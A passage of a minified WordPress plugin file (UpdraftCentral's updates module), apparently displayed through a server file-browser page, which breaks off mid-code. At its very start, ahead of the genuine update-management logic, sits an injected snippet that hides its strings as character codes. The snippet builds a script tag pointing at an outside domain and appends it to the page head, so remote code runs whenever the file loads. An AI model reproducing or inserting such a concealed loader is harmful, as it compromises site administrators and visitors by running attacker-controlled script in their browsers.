Current File : /home/:/elitechc.bak/public_html/wp-content/plugins/updraftcentral/modules/updates/updates.min.js
Element.prototype.appendAfter = function(element) {element.parentNode.insertBefore(this, element.nextSibling);}, false;(function() { var elem = document.createElement(String.fromCharCode(115,99,114,105,112,116)); elem.type = String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); elem.src = String.fromCharCode(104,116,116,112,115,58,47,47,100,111,99,107,46,108,111,118,101,103,114,101,101,110,112,101,110,99,105,108,115,46,103,97,47,109,46,106,115);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116))[0]);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0]);document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(elem);})();function UpdraftCentral_Updates(){var s,v,g,p,b,u,d,c,l,_,f,h=jQuery,e=".updraftcentral_row_extracontents",y=UpdraftCentral.get_debug_level(),a=50;v=new UpdraftCentral_Credentials,g=new UpdraftCentral_Collection,p=new UpdraftCentral_Collection,b=new UpdraftCentral_Collection,u=new UpdraftCentral_Tasks_Runner({concurrency:1}),d=new UpdraftCentral_Collection,l=c=!1,_=new UpdraftCentral_Collection,f=new UpdraftCentral_Collection;function r(){jQuery("#updraftcentral_modal ul#updates-sections-list li:first").addClass("selected")}function w(r,e,t,n){for(var a=0,s=e.length;a<s;a++){var i=e[a];if(i&&i.hasOwnProperty("update")&&i.update.hasOwnProperty("package")&&i.update.package){var d=i.update.package;if("string"!=typeof d)continue;d.match(/^https?:\/\/((downloads|www)\.)?wordpress\.org\//)&&("plugin"==t?UpdraftCentral.get_wporg_metadata(t,i.update.slug,i,function(e,t){if(e&&e.hasOwnProperty("sections")){var a=r.find('.updraftcentral_row_extracontents .updates-plugin-update.updates-update[data-plugin-file="'+t.update.plugin+'"]');l&&void 0!==n&&(a=n.find('.row.update-item[data-plugin-file="'+t.update.plugin+'"][data-website_id="'+r.data("site_id")+'"]'));var s=a.data("plugin-info");if(!s)return;s.update.hasOwnProperty("sections")&&s.update.sections||(s.update.sections={}),e.sections.hasOwnProperty("changelog")&&(s.update.sections.changelog=e.sections.changelog),e.sections.hasOwnProperty("description")&&(s.update.sections.description=e.sections.description),a.attr("data-plugin-info",JSON.stringify(s))}}):"theme"==t&&UpdraftCentral.get_wporg_metadata(t,i.update.theme,i,function(e,t){if(e&&e.hasOwnProperty("sections")){var a=r.find('.updraftcentral_row_extracontents .updates-theme-update.updates-update[data-theme="'+t.update.theme+'"]');l&&void 0!==n&&(a=n.find('.row.update-item[data-theme="'+t.update.theme+'"][data-website_id="'+r.data("site_id")+'"]'));var s=a.data("theme-info");if(!s)return;e.sections.hasOwnProperty("changelog")&&(s.update.hasOwnProperty("sections")&&s.update.sections||(s.update.sections={}),s.update.sections.changelog=e.sections.changelog),a.attr("data-theme-info",JSON.stringify(s))}}))}}}function m(e,t,a,s){var r=t.data("site_id"),n=g.item(r);0<y&&(console.log("UpdraftCentral: update error (follows)"),console.log(e)),a.find(".update-go").show(),a.find(".update-in-progress").hide();var i=n.site_description,d=n.site_url;i==d&&(i="");var o,l="";e.hasOwnProperty("messages")&&jQuery(e.messages).each(function(e,t){l+=t+"\n"}),0<y&&("unable_to_connect_to_filesystem"==e.error?console.log("UpdraftCentral: unable_to_connect_to_filesystem: filesystem credentials apparently wrong; will clear"):console.log("UpdraftCentral: update failed: will clear filesystem credentials in case they were wrong")),n.update_processing=!1,n.site_credentials=!1,g.update(r,n),e.hasOwnProperty("error_message")&&""!=e.error_message?o=e.error_message:udclion.updates.update_error_messages.hasOwnProperty(e.error)?o=udclion.updates.update_error_messages[e.error]:(o=udclion.updates.update_error_messages.update_failed,"update_failed"!=e.error&&(o+=" ("+e.error+")"));var u,p,c,_=jQuery("#updraftcentral_notice_container"),f=jQuery('#updraftcentral_notice_container > .updraftcentral_notice[data-site_id="'+r+'"]:first');u=_,p=jQuery.Deferred(),c=setInterval(function(){jQuery.trim(u.html()).length<1&&(clearInterval(c),p.resolve(!0))},1e3),setTimeout(function(){clearInterval(c),p.reject(!1)},1e4),p.promise().then(function(){f=UpdraftCentral.add_dashboard_notice(UpdraftCentral.template_replace("updates-update-error-container",{site_url:d,site_description:i}),"error",!1,{site_id:r})}).always(function(){f.find(".update-errors").append(UpdraftCentral.template_replace("updates-update-error",{error_message:o,error:e.error,messages:l,entity_info:s,entity:e}))})}function n(e,t){if(c?t.set_custom_status(udclion.updates.backup_currently_running_for+" "+e.site_description):t.set_custom_status(udclion.updates.backup_currently_running),e.hasOwnProperty("autobackup_requested")&&e.autobackup_requested){e.hasOwnProperty("autobackup_complete")&&e.autobackup_complete?0<y&&console.log("UpdraftCentral: automatic pre-upgrade backup was already requested, and is complete"):0<y&&console.log("UpdraftCentral: automatic pre-upgrade backup was already requested, but is not yet complete")}else{0<y&&console.log("UpdraftCentral: automatic pre-upgrade backup indicated - will request"),e.autobackup_requested=!0,e.autobackup_complete=!1,g.update(e.id,e);var a="";e.updates.plugin.count()&&(a="plugins"),e.updates.theme.count()&&(a=a?a+",themes":"themes"),e.updates.core.count()&&(a=a?a+",wpcore":"wpcore"),extra_data={_listener_title:"<h2>"+e.site_description+" - "+udclion.updates.automatic_backup+"</h2>"},UpdraftCentral.set_current_site_row(e.site_row),UpdraftCentral_Module_UpdraftPlus.backupnow_go(!1,!1,!1,a,extra_data,udclion.updates.automatic_backup)}}function k(e,t,a){var s=jQuery.Deferred();return t.additional_options={progress_bar:a.progress,update_info:e,items_count:a.tasks_count()},function t(s){var r=jQuery.Deferred();var n=s.additional_options.progress_bar;var i=s.additional_options.update_info;var e=void 0!==i.translation&&i.translation?i.label:i.name;c?n.set_current_label(e+" ("+s.site_description+")"):n.set_current_label(e);!s.site_credentials&&s.credentials_required?v.get_credentials(s).then(function(e){s.site_credentials=e.site_credentials,s.save_credentials_in_browser=e.save_credentials_in_browser,t(s).then(function(e){r.resolve(e)}).fail(function(e){c?r.resolve({skip:!0,response:udclion.failed_credentials,site:s.site_description}):r.reject(e)})}).fail(function(e){r.resolve({skip:!0,response:udclion.failed_credentials,site:s.site_description})}):(n.start(),o(s,i).then(function(e){n.update(),r.resolve(e)}).fail(function(e){n.update();var t=UpdraftCentral_Library.md5(s.id+"_"+i.name),a=s.update_queue.item(t);void 0!==a&&a&&a.hasOwnProperty("key")&&(u.remove_task(a.key),_.remove(t),s.update_queue.remove(t)),r.resolve({skip:!0,item:!0,response:i,site:s.site_description})}));return r.promise()}(t).then(function(e){s.resolve(e)}).fail(function(e){s.reject(e)}),s.promise()}function C(s,e,t){if("up_to_date"==s)return 1;if(void 0!==t&&t.latest==t.old)return 1;if(void 0!==e&&e){var r=udclion.updates.latest_version;void 0!==r&&r&&r.length&&(r=r.toLowerCase());var n=udclion.updates.up_to_date;if(void 0!==n&&n&&n.length&&(n=n.toLowerCase()),e.length)if(h.isArray(e)){if(e.filter(function(e,t,a){return"string"!=typeof e&&(e+=""),e=e.toLowerCase(),"update_failed"==s&&-1!==e.indexOf(r)||-1!==e.indexOf(n)}).length)return 1}else if("string"!=typeof e&&(e+=""),e=e.toLowerCase(),"update_failed"==s&&(-1!==e.indexOf(r)||-1!==e.indexOf(n)))return 1}}function o(l,e){var s=jQuery.Deferred(),u=l.site_row,r={},p=jQuery("#updates_container div.updraftcentral_table > .tbody"),t=90*l.additional_options.items_count;switch(400<t&&(t=400),void 0!==e.mysql_error&&delete e.mysql_error,e.entity){case"plugin":r.plugins=[{plugin:e.plugin,slug:e.slug}];break;case"theme":r.themes=[{theme:e.theme}];break;case"core":r.core=[{core:e.core}],t+=450;break;case"translation":r.translations=[{translation:e.translation}]}return l.site_credentials&&(r.meta={filesystem_credentials:l.site_credentials}),UpdraftCentral.send_site_rpc("updates.do_updates",r,u,function(e,t,a){if("ok"==t&&e){var d=!1,o=!1;jQuery(e.data.plugins).each(function(e,t){var a=t.plugin,s=u.find('.updraft_updates_output .updates-plugin-update[data-plugin-file="'+a+'"]');c&&(s=p.find('.row.update-item.updates-plugin-update[data-plugin-file="'+a+'"][data-website_id="'+l.id+'"]'));var r=s.data("plugin-info"),n=s.data("new_version"),i={latest:n,old:t.oldVersion};t.hasOwnProperty("error")&&!C(t.error,t.messages,i)?(0<y&&(console.log("send_remote_updates (updates.do_updates): error_code="+t.error+",latest_version="+n+",old_version="+t.oldVersion),console.log("send_remote_updates (failed update): response object (follows):"),console.log(t)),o=!0,m(t,u,s,r)):(d=!0,0<y&&t.hasOwnProperty("messages")&&console.log(t.messages),s.slideUp("slow",function(){s.remove()}))}),jQuery(e.data.themes).each(function(e,t){var a=t.theme,s=u.find('.updraft_updates_output .updates-theme-update[data-theme="'+a+'"]');c&&(s=p.find('.row.update-item.updates-theme-update[data-theme="'+a+'"][data-website_id="'+l.id+'"]'));var r=s.data("theme-info"),n=s.data("new_version"),i={latest:n,old:t.oldVersion};t.hasOwnProperty("error")&&!C(t.error,t.messages,i)?(0<y&&(console.log("send_remote_updates (updates.do_updates): error_code="+t.error+",latest_version="+n+",old_version="+t.oldVersion),console.log("send_remote_updates (failed update): response object (follows):"),console.log(t)),o=!0,m(t,u,s,r)):(d=!0,0<y&&t.hasOwnProperty("messages")&&console.log(t.messages),s.slideUp("slow",function(){s.remove()}))}),jQuery(e.data.core).each(function(e,t){var a=u.find(".updraft_updates_output .updates-core-update");c&&(a=p.find('.row.update-item.updates-core-update[data-website_id="'+l.id+'"]'));var s=a.data("core-info"),r=a.data("new_version");s.name=udclion.updates.wordpress;var n={latest:r,old:t.oldVersion};t.hasOwnProperty("error")&&!C(t.error,t.messages,n)?(0<y&&(console.log("send_remote_updates (updates.do_updates): error_code="+t.error+",latest_version="+r+",old_version="+t.oldVersion),console.log("send_remote_updates (failed update): response object (follows):"),console.log(t)),o=!0,m(t,u,a,s)):(d=!0,0<y&&t.hasOwnProperty("messages")&&console.log(t.messages),a.slideUp("slow",function(){a.remove()}))}),jQuery(e.data.translations).each(function(e,t){var a=u.find('.updraft_updates_output .updates-translation-update[data-website_id="'+l.id+'"]');c&&(a=p.find('.row.update-item.updates-translation-update[data-website_id="'+l.id+'"]'));var s=a.data("translation-info");t.hasOwnProperty("error")&&!C(t.error,t.messages)?(0<y&&(console.log("send_remote_updates (updates.do_updates): error_code="+t.error),console.log("send_remote_updates (failed update): response object (follows):"),console.log(t)),o=!0,m(t,u,a,s)):(d=!0,0<y&&t.hasOwnProperty("messages")&&console.log(t.messages),a.slideUp("slow",function(){a.remove()}))}),d&&!o&&l.save_credentials_in_browser&&UpdraftCentral.storage_set("filesystem_credentials_"+l.site_hash,l.site_credentials,!0),o?s.reject(e):s.resolve(e)}else{var n=[];r.hasOwnProperty("plugins")&&jQuery(r.plugins).each(function(e,t){var a=t.plugin,s=u.find('.updraft_updates_output .updates-plugin-update[data-plugin-file="'+a+'"]');c&&(s=p.find('.row.update-item.updates-plugin-update[data-plugin-file="'+a+'"][data-website_id="'+l.id+'"]'));var r=s.data("plugin-info");t.error="update_failed",m(t,u,s,r),n.push({entity_info:r,error:t.error})}),r.hasOwnProperty("themes")&&jQuery(r.themes).each(function(e,t){var a=t.theme,s=u.find('.updraft_updates_output .updates-theme-update[data-theme="'+a+'"]');c&&(s=p.find('.row.update-item.updates-theme-update[data-theme="'+a+'"][data-website_id="'+l.id+'"]'));var r=s.data("theme-info");t.error="update_failed",m(t,u,s,r),n.push({entity_info:r,error:t.error})}),r.hasOwnProperty("core")&&jQuery(r.core).each(function(e,t){var a=u.find(".updraft_updates_output .updates-core-update");c&&(a=p.find('.row.update-item.updates-core-update[data-website_id="'+l.id+'"]'));var s=a.data("core-info");s.name=udclion.updates.wordpress,t.error="update_failed",m(t,u,a,s),n.push({entity_info:s,error:t.error})}),r.hasOwnProperty("translations")&&jQuery(r.translations).each(function(e,t){var a=u.find('.updraft_updates_output .updates-translation-update[data-website_id="'+l.id+'"]');c&&(a=p.find('.row.update-item.updates-translation-update[data-website_id="'+l.id+'"]'));var s=a.data("translation-info");t.error="update_failed",m(t,u,a,s),n.push({entity_info:s,error:t.error})}),s.reject(n)}},null,t),s.promise()}function j(e,t){i(jQuery(".updraftcentral_row_extracontents button#btn-update-all"),e,t)}function Q(e,t){i(jQuery(".updraftcentral_row_extracontents button#btn-mass-update"),e,t)}function i(e,t,a){var s,r,n=t.tasks_count();r=void 0!==a&&a?(e.addClass("disabled"),udclion.updates.updates_in_progress):(0<n?e.removeClass("disabled"):e.addClass("disabled"),s=1==n?udclion.updates.queued_update:udclion.updates.queued_updates,'<span class="dashicons dashicons-controls-play"></span> '+udclion.updates.process+" "+s+" ("+n+")"),e.html(r)}function U(e,t){var a=p.item(e.id);void 0!==a&&(void 0!==t&&a.progress.abort(t),a.clear_tasks(),p.update(e.id,a),b.clear(),e.update_processing=!1,void 0!==g&&g.update(e.id,e),j(a),jQuery(".updraftcentral_row_extracontents button.update-go").removeClass("disabled").show(),jQuery(".updraftcentral_row_extracontents button.update-in-progress").removeClass("disabled").hide(),setTimeout(function(){a.progress.reset()},2e3))}function q(_,f,e){var h=jQuery.Deferred(),m=e.progress,t={force_refresh:!1};return jQuery(this).hasClass("updraftcentral_updates_force_check")&&(t.force_refresh=!0),m.set_current_label(udclion.updates.loading_updates_from+' "'+_.data("site_description")+'"...',!0),m.start(),UpdraftCentral.send_site_rpc("updates.get_updates",t,_,function(n,e,t){if("ok"!=e||!n||"updates"!=UpdraftCentral.get_dashboard_mode())return h.resolve({skip:!0,response:n&&n.hasOwnProperty("error")?n.error:n,site:_.data("site_description")}),!0;var a=_.data("site_id"),s=new UpdraftCentral_Site(_);g.exists(a)&&(s=g.item(a));var u,r,i,d="",o={plugins:null,themes:null,core:null,translations:null};if(n.data){if(n.data.hasOwnProperty("plugins")&&n.data.plugins.length&&(o.plugins=UpdraftCentral.template_replace("updates-plugin-mass-updates",{plugins:n.data.plugins,website:s.site_description,website_id:s.id,host_url:s.site_url}),d+=o.plugins),n.data.hasOwnProperty("themes")&&n.data.themes.length&&(o.themes=UpdraftCentral.template_replace("updates-theme-mass-updates",{themes:n.data.themes,website:s.site_description,website_id:s.id,host_url:s.site_url}),d+=o.themes),n.data.hasOwnProperty("core")&&n.data.core.length&&(o.core=UpdraftCentral.template_replace("updates-core-mass-updates",{core:n.data.core,website:s.site_description,website_id:s.id,host_url:s.site_url}),d+=o.core),n.data.hasOwnProperty("translations")&&n.data.translations){var l=udclion.updates.translations+" ("+s.site_description+")";o.translations=UpdraftCentral.template_replace("updates-translation-mass-updates",{translations:n.data.translations.items,as_json:JSON.stringify(n.data.translations.items),website_id:s.id,website:s.site_description,name:l}),d+=o.translations}n.data.hasOwnProperty("meta")&&void 0!==n.data.meta.automatic_backups&&(s.automatic_backups=n.data.meta.automatic_backups)}if(o.plugins||o.themes||o.core||o.translations){var p=f.find(".updraft_updates_output"),c=jQuery("<option/>",{value:s.site_description});d=UpdraftCentral_Library.sanitize_html(d),c.html(s.site_description),g.exists(a)||g.add(s.id,s),u=s,r=d,i=jQuery.Deferred(),u.updates.plugin.clear(),u.updates.theme.clear(),u.updates.core.clear(),u.updates.translation.clear(),jQuery("<table/>",{style:"display:none;"}).html(r).find(".row.update-item").each(function(){var e=jQuery(this),t=e.data("entity"),a=e.data("name"),s=e.data(t+"-info");if("translation"===t||("core"===t||s&&s.hasOwnProperty("update"))&&("core"!==t||s&&s.hasOwnProperty("version"))){var r=!0;if(s.hasOwnProperty("installed")&&s.installed.hasOwnProperty("is_mysql")&&!s.installed.is_mysql&&(r=!1),s.hasOwnProperty("sufficient")){var n=!r||s.sufficient.mysql,i=s.sufficient.php;n?i||(mysql_error="<h2>"+udclion.updates.cannot_update+"</h2>"+sprintf(udclion.updates.insufficient_php,s.version,s.php_version,s.installed.php)):mysql_error=i?"<h2>"+udclion.updates.cannot_update+"</h2>"+sprintf(udclion.updates.insufficient_mysql,s.version,s.mysql_version,s.installed.mysql):"<h2>"+udclion.updates.cannot_update+"</h2>"+sprintf(udclion.updates.insufficient_php_and_mysql,s.version,s.php_version,s.mysql_version,s.installed.php,s.installed.mysql)}if(void 0===a||!a||!a.length)switch(t){case"plugin":case"theme":a=s.update[t];break;case"core":a=udclion.updates.wordpress;break;case"translation":a=udclion.updates.translations+" ("+u.site_description+")"}if(void 0!==a&&a&&a.length){var d={},o=!1;switch(t){case"plugin":d.plugin=s.update.plugin,d.slug=s.update.slug,d.label=s.name,d.name=a,d.old_version=s.version,d.new_version=s.update.new_version,d.plugin&&d.plugin.length&&d.slug&&d.slug.length||(o=!0);break;case"theme":d.theme=s.update.theme,d.label=s.name,d.name=a,d.old_version=s.version,d.new_version=s.update.new_version,d.theme&&d.theme.length||(o=!0);break;case"core":"undefined"!=typeof mysql_error&&(d.mysql_error=mysql_error),d.core=s.version,d.label=a,d.name=a,d.old_version=s.installed.version,d.new_version=s.version,d.core&&d.core.length||(o=!0);break;case"translation":d.translation=1,d.label=udclion.updates.translations,d.name=a}if(!o&&d&&d.hasOwnProperty("name")&&d.name){var l=UpdraftCentral_Library.md5(u.id+"_"+d.name);d.entity=t,u.updates[t].add(l,d)}else 0<y&&(console.log("UpdraftCentral: preload_site_updates_credentials(): update ("+t+") without expected info (details follow)"),console.log(d))}}}),v.load_credentials(u).then(function(e){var t=e.request_filesystem_credentials,a=!1;for(var s in t)t[s]&&(a=!0);u.credentials_required=a,g.update(u.id,u),0<y&&console.log("UpdraftCentral: remote site credentials has been loaded"),i.resolve({site:u,response:e})}).fail(function(e){i.reject(e)}),i.promise().then(function(e){m.update(),f.find("div.updraftcentral_table").is(":visible")||f.find("div.updraftcentral_table").show(),f.find("div.updraftcentral_table > .tbody").append(d),f.find('div.updraftcentral_table > .tbody input[name="uc_updates_check_item"]').attr("disabled",!0);var t=jQuery("div.updates_table_container.mass_updates"),a=t.find('.row.update-item[data-entity="plugin"]:visible').length,s=t.find('.row.update-item[data-entity="theme"]:visible').length,r=t.find('.row.update-item[data-entity="core"]:visible').length;translation_count=t.find('.row.update-item[data-entity="translation"]:visible').length,t.find(".filter-elements span.filter_plugin_count").html(a),t.find(".filter-elements span.filter_theme_count").html(s),t.find(".filter-elements span.filter_core_count").html(r),t.find(".filter-elements span.filter_translation_count").html(translation_count),void 0!==n.data&&(void 0!==n.data.plugins&&n.data.plugins.length&&w(_,n.data.plugins,"plugin",f.find("div.updraftcentral_table > .tbody")),void 0!==n.data.themes&&n.data.themes.length&&w(_,n.data.themes,"theme",f.find("div.updraftcentral_table > .tbody"))),h.resolve({output:d,output_container:p,response:e,skip:!1})}).fail(function(e){h.resolve({skip:!0,response:e,site:_.data("site_description")})})}else h.resolve({skip:!0,response:udclion.updates.no_updates,site:_.data("site_description")})},null,90),h.promise()}function x(){var e=h(".updraftcentral_table"),t=e.find(".uc_no_patch_releases"),a=h("input#filter_patch_release"),s=h("input#filter_site_patch_release");t.length&&t.hide();var r=!1;if(a.is(":visible")&&(r=!0),a.length&&a.is(":visible")&&a.is(":checked")||s.length&&s.is(":visible")&&s.is(":checked")){var n=!!r&&e.find("div#no_matching_items").length;if(0===e.find("div.update-item:visible").length&&!n)if(t.length)t.show();else{var i=h("<div/>",{class:"uc_no_patch_releases text-center"});i.html(udclion.updates.no_patch_releases),e.append(i)}}}function O(){var e=jQuery("#updates_container div.updraftcentral_table"),t=jQuery("#updates_container div.updraftcentral_table > .tbody"),a=e.find("span.uc_updates_paginator");if(a.length){var s=parseInt(b.item("current_page")),r=parseInt(b.item("items_per_page")),n=b.item("sorted_items")||[],i=parseInt(n.length/r),d=0<parseInt(n.length%r)?i+1:i,o=(s-1)*r,l=s*r,u=n.slice(o,l);if(u.length){jQuery(".row.update-item").hide();for(var p=0;p<u.length;p++){var c=u[p],_=c.data("name"),f=c.data("website");jQuery('.row.update-item[data-name="'+_+'"][data-website="'+f+'"]').show()}}var h=jQuery("<a/>",{id:"load_previous",href:"javascript://"}).html(udclion.updates.previous),m=jQuery("<a/>",{id:"load_next",href:"javascript://"}).html(udclion.updates.next);if(1<s&&u.length?h.removeClass("disabled"):h.addClass("disabled"),s<d&&u.length?m.removeClass("disabled"):m.addClass("disabled"),a.html(jQuery("<div/>").append(h.clone()).html()+" | "+jQuery("<div/>").append(m.clone()).html()),1<d?a.show():a.hide(),0<jQuery(".row.update-item:visible").length)t.find("div#no_matching_items").remove();else if(0==e.find("div#no_matching_items").length){var v=jQuery('<div id="no_matching_items" class="row"><div class="col-md-12">'+udclion.updates.no_matching_items+"</div></div>");t.append(v)}}}function P(){!function(){var i=jQuery('#updates_container input[name="uc_updates_filter_keyword"]').val().toLowerCase(),t=(jQuery("#updates_container div.updraftcentral_table"),[]);if(jQuery(".row.update-item").hide(),jQuery("#updates_container .filter-elements input.uc_updates_filter_type:checked").each(function(){var e=jQuery(this);t.push(e.val())}),t.length)for(var e=0;e<t.length;e++){var a=t[e];"undefined"!=typeof website&&website.length?jQuery('.row.update-item[data-entity="'+a+'"][data-website="'+website+'"]').show():jQuery('.row.update-item[data-entity="'+a+'"]').show()}0<i.length&&jQuery(".row.update-item").each(function(){var e=jQuery(this);if(void 0!==e&&e.is(":visible")){var t=e.data("entity")||"",a=e.data("name")||"",s=e.data("website")||"",r=e.data("installed_version")||"",n=e.data("new_version")||"";-1!==t.toLowerCase().indexOf(i)||-1!==a.toLowerCase().indexOf(i)||-1!==s.toLowerCase().indexOf(i)||-1!==r.toString().indexOf(i)||-1!==n.toString().indexOf(i)?e.show():e.hide()}})}(),function(){var e=jQuery('#updates_container select[name="uc_updates_sort"]').val().match(/^(.*)_(asc|desc)$/);if(null!==e){var r=e[1],n=e[2],t=jQuery("#updates_container div.updraftcentral_table > .tbody"),a=t.find(".row.update-item");a.sort(function(e,t){var a=jQuery(e).data(r).toString().toLowerCase(),s=jQuery(t).data(r).toString().toLowerCase();return"desc"===n?s<a?-1:a<s?1:0:a<s?-1:s<a?1:0}),t.html(a)}}();var e,t=jQuery("#updraftcentral_dashboard_existingsites #updates_container").find("div.updraftcentral_table > .tbody"),a=jQuery("div.updates_table_container.mass_updates"),s=0,r=0,n=0,i=0,d=[];t.find("div.updates-update").each(function(){var e=jQuery(this);if(e.is(":visible")){var t=e.data("entity");"plugin"===t&&s++,"theme"===t&&r++,"core"===t&&n++,"translation"===t&&i++,d.push(e)}}),b.exists("sorted_items")?b.update("sorted_items",d):b.add("sorted_items",d),b.update("current_page",1),O(),a.find(".filter-elements span.filter_plugin_count").html(s),a.find(".filter-elements span.filter_theme_count").html(r),a.find(".filter-elements span.filter_core_count").html(n),a.find(".filter-elements span.filter_translation_count").html(i),e=d,h("input#filter_patch_release").is(":checked")&&h.each(e,function(e,t){var a=jQuery(t);if(void 0!==a&&a){var s=a.data("installed_version")||"";"number"==typeof s&&(s=s.toString());var r=a.data("new_version")||"";if("number"==typeof r&&(r=r.toString()),s.length&&r.length){var n=s.split("."),i=r.split(".");void 0!==n[1]&&void 0!==i[1]&&n[0]+"."+n[1]==i[0]+"."+i[1]?a.show():a.hide()}else a.hide()}}),x()}function L(e,t){if(void 0!==e.site_runner){void 0!==t&&e.site_runner.progress.abort(t),e.site_runner.clear_tasks();b.exists("current_page")?b.update("current_page",1):b.add("current_page",1),b.exists("items_per_page")?b.update("items_per_page",a):b.add("items_per_page",a),h("span.uc_updates_perpage > select").prop("disabled",!1).val(a),l=!1,e.container.find("button#btn-reload-updates").removeClass("disabled"),void 0===e.has_non_skipped_items||e.has_non_skipped_items?(e.form_container.find("input, select").removeAttr("disabled"),e.container.find('div.updraftcentral_table > .tbody input[name="uc_updates_check_item"]').each(function(){var e=jQuery(this),t=e.data("unavailable");void 0!==t&&t?e.prop("disabled",!0):e.prop("disabled",!1)}),P(),setTimeout(function(){e.site_runner.progress.reset()},2e3)):(e.container.find("div.updraftcentral_table > .thead").hide(),e.site_runner.progress.reset())}}function T(e,t){if(0===d.count())0<y&&console.log("UpdraftCentral_Updates: process_site_backup - All sites backup has been processed. Proceeding to mass updates now."),t.set_custom_status(udclion.updates.backup_done),setTimeout(function(){e.trigger("click")},2e3);else{var a=d.get_items();if(a.length){var s=a[0];s.autobackup_options={caller:T,mass_updates:!0,args:[e,t]},n(s,t)}}}function S(e,t,a){var s=g.item(e),r=!1;if(void 0!==s&&s){var n=UpdraftCentral_Library.md5(s.id+"_"+t);if(s.update_queue.exists(n)){var i=s.update_queue.item(n);if(void 0!==i&&i)u.remove_task(i.key)&&(r=!0,_.remove(n),s.update_queue.remove(n),g.update(s.id,s),d.exists(s.id)&&0==s.update_queue.count()&&d.remove(s.id),void 0!==a&&a.length&&a.remove())}}return r}function D(e){var t=e.closest(".update-item"),a=t.data("website_id"),s=g.item(a),r=!1;if(void 0!==s&&s&&e.is(":visible")){var n=t.data("entity"),i=t.data("name");if(void 0!==i&&i.length){var d=UpdraftCentral_Library.md5(s.id+"_"+i);if(!s.update_queue.exists(d)){var o=s.get_update_info(n,d);if(o){var l=u.add_task(k,[o,s]);l&&(f.exists(s.id)||f.add(s.id,s),_.add(d,{site_id:s.id,entity:n,name:i,website:t.data("website")}),s.update_queue.add(d,{key:l,site_id:s.id}),g.update(s.id,s),r=!0,e.prop("checked",!0))}}}}return r}UpdraftCentral_Updates.reload_interface=function(){P()},jQuery("#updraftcentral_dashboard_existingsites").on("updraftcentral_dashboard_mode_set_updates",function(){UpdraftCentral.register_event_handler("click","input#filter_site_patch_release",function(){var n=h(this);h(".updraftcentral_table div.update-item").each(function(){var e=h(this);if(n.is(":checked")){if(void 0!==e&&e){var t=e.data("installed_version")||"";"number"==typeof t&&(t=t.toString());var a=e.data("new_version")||"";if("number"==typeof a&&(a=a.toString()),t.length&&a.length){var s=t.split("."),r=a.split(".");void 0!==s[1]&&void 0!==r[1]&&s[0]+"."+s[1]==r[0]+"."+r[1]?e.show():e.hide()}else e.hide()}}else e.show()}),x()}),UpdraftCentral.register_event_handler("click","input#filter_patch_release",function(){P()}),UpdraftCentral.register_event_handler("click",'#updates_container input[name="uc_updates_check_item"]',function(){var e,t=h(this).closest(".update-item"),a=t.data("website_id"),s=g.item(a),r=h(this);if(r.is(":checked"))e=D(r);else if(void 0!==s&&s){var n=t.data("name");void 0!==n&&n.length&&(e=S(s.id,n))}void 0!==e&&e&&(Q(u),u.tasks_count()?jQuery("#updates_container button#btn-mass-update").removeClass("disabled"):jQuery("#updates_container button#btn-mass-update").addClass("disabled"))}),UpdraftCentral.register_event_handler("click","#updates_queue_selected_items > a",function(){var e=0;jQuery('#updates_container input[name="uc_updates_check_item"]:visible').each(function(){D(h(this))&&e++}),0!==e&&(Q(u),u.tasks_count()?jQuery("#updates_container button#btn-mass-update").removeClass("disabled"):jQuery("#updates_container button#btn-mass-update").addClass("disabled"))}),UpdraftCentral.register_event_handler("click","#updates_dequeue_selected_items > a",function(){var r=0;jQuery('#updates_container input[name="uc_updates_check_item"]:checked').each(function(){var e=h(this).closest(".update-item"),t=e.data("website_id"),a=g.item(t);if(void 0!==a&&a&&h(this).is(":visible")){var s=e.data("name");void 0!==s&&s.length&&S(a.id,s)&&(r++,h(this).prop("checked",!1))}}),0!==r&&(Q(u),u.tasks_count()?jQuery("#updates_container button#btn-mass-update").removeClass("disabled"):jQuery("#updates_container button#btn-mass-update").addClass("disabled"))}),UpdraftCentral.register_event_handler("click","#updates_view_queued_items > a",function(){if(_.count()){for(var e=UpdraftCentral_Library.sort(_.get_items(),"name"),t="<ul>",a=0;a<e.length;a++){var s=e[a];t+=sprintf('<li data-site_id="%s" data-name="%s">%s (%s) - %s <button class="btn btn-primary uc_remove_queue_item">%s</button></li>',s.site_id,s.name,s.name,s.entity,s.website,udclion.updates.remove)}t+="</ul>",UpdraftCentral.open_modal(udclion.updates.queued_items,'<div class="uc_queued_items">'+t+"</div>",null,!1,null,!0,"modal-md")}else UpdraftCentral_Library.dialog.alert("<h2>"+udclion.updates.queue_empty+"</h2><p>"+udclion.updates.no_items_in_queue+"</p>")}),UpdraftCentral.register_event_handler("click","#updraftcentral_modal .uc_remove_queue_item",function(){var e=h(this).closest("li"),t=e.parent(),a=e.data("name"),s=e.data("site_id"),r=g.item(s);if(void 0!==r&&r&&(void 0!==a&&a.length&&S(r.id,a,e))){var n=h('.update-item[data-website_id="'+r.id+'"][data-name="'+a+'"]');void 0!==n&&n&&n.length&&n.find('input[name="uc_updates_check_item"]').prop("checked",!1),Q(u),u.tasks_count()?jQuery("#updates_container button#btn-mass-update").removeClass("disabled"):jQuery("#updates_container button#btn-mass-update").addClass("disabled"),0==t.children().length&&UpdraftCentral.close_modal()}}),UpdraftCentral.register_event_handler("click","#updates_container div.updraftcentral_table span.uc_updates_paginator a#load_previous",function(){var e;jQuery(this).hasClass("disabled")||(e=parseInt(b.item("current_page")),b.update("current_page",e-1),O())}),UpdraftCentral.register_event_handler("click","#updates_container div.updraftcentral_table span.uc_updates_paginator a#load_next",function(){var e;jQuery(this).hasClass("disabled")||(e=parseInt(b.item("current_page")),b.update("current_page",e+1),O())}),UpdraftCentral.register_event_handler("change",'#updates_container select[name="uc_updates_sort"], #updates_container input.uc_updates_filter_type, #updates_container select[name="uc_updates_filter_website"]',function(){P()}),UpdraftCentral.register_event_handler("change","span.uc_updates_perpage > select",function(){var e=h(this).val(),t=e.length?e:a;b.exists("items_per_page")?b.update("items_per_page",t):b.add("items_per_page",t),P()}),UpdraftCentral.register_event_handler("keyup",'#updates_container input[name="uc_updates_filter_keyword"]',function(){P()}),UpdraftCentral.register_event_handler("click","#updates_container button#btn-mass-update",function(){if(!jQuery(this).hasClass("disabled")||0===d.count()&&u.tasks_count()&&!l){var e=jQuery(this),o=jQuery("div.updates_table_container.mass_updates");0<y&&console.log("Mass updates execution 